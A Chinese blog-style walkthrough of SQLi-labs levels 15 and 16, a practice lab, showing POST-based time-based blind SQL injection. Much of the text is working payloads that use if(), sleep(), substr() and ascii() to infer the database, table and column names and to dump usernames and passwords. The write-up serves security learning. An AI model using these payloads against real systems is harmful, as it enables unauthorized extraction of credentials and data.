目录
知识点:
第十五关
1、判断注入点
2、判断当前数据库
3、判断表名
4、判断字段名
5、爆值
第十六关
1、判断注入点
知识点:
POST方式的时间盲注
对应的函数利用,可参考SQLI-labs-第九关和第十关_sqllab第十关-CSDN博客
第十五关
原理:
1、判断注入点
输入正常的数据,没有任何回显
加入单引号、双引号、括号等,都没有任何回显信息,这里可以判断为时间盲注
输入 admin' and if(length(database())>1,sleep(5),1)#
会延时5秒钟
说明当前是单引号闭合错误
这里有一个问题,使用字符就可以显示出结果,数字就不行,这个没搞懂,麻烦大神指点一下
admin' and if(length(database())>1,sleep(5),1)# 可以延时5秒
1' and if(length(database())>1,sleep(5),1)# 不会延时
2、判断当前数据库
使用函数if(),length()、sleep()、substr()、ascii()
admin' and if(length(database())=8,sleep(5),1)#
说明当前数据库长度为8位
接下来判断数据库的字符,从a开始尝试
admin' and if(ascii(substr(database(),1,1))=97,sleep(5),1)#
结果没有延时
尝试到s的时候出现了延时,说明数据库名第一个字符为s
admin' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#
以此类推,通过修改substr()函数的值,可以得到当前数据库名为security
3、判断表名
还是一样,判断第一个表名的一个个字符,从a开始判断
admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=97,sleep(5),1)#
admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)#
以此类推,通过修改limit和substr的值,可以判断出4个表为 emails 、referers、uagents、users
4、判断字段名
以users表为例
admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)#
以此类推,可以推断出三个字段为:id、username、password
5、爆值
admin' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1)#
admin' and if(ascii(substr((select password from security.users limit 0,1),1,1))=68,sleep(5),1)#
以此类推,可以得到数据库的数据
第十六关
原理:
1、判断注入点
因为输入任何信息都没有回显,所以只能采用时间盲注的方式来进行判断,在输入的值后面分别尝试加入’ " ) 等进行尝试
admin") and if(length(database())>1,sleep(5),1) #
接下来的步骤就跟上面的一致,使用ascii、substr函数等进行注入
这篇文章就写到这里了,有哪里不足,欢迎批评指正!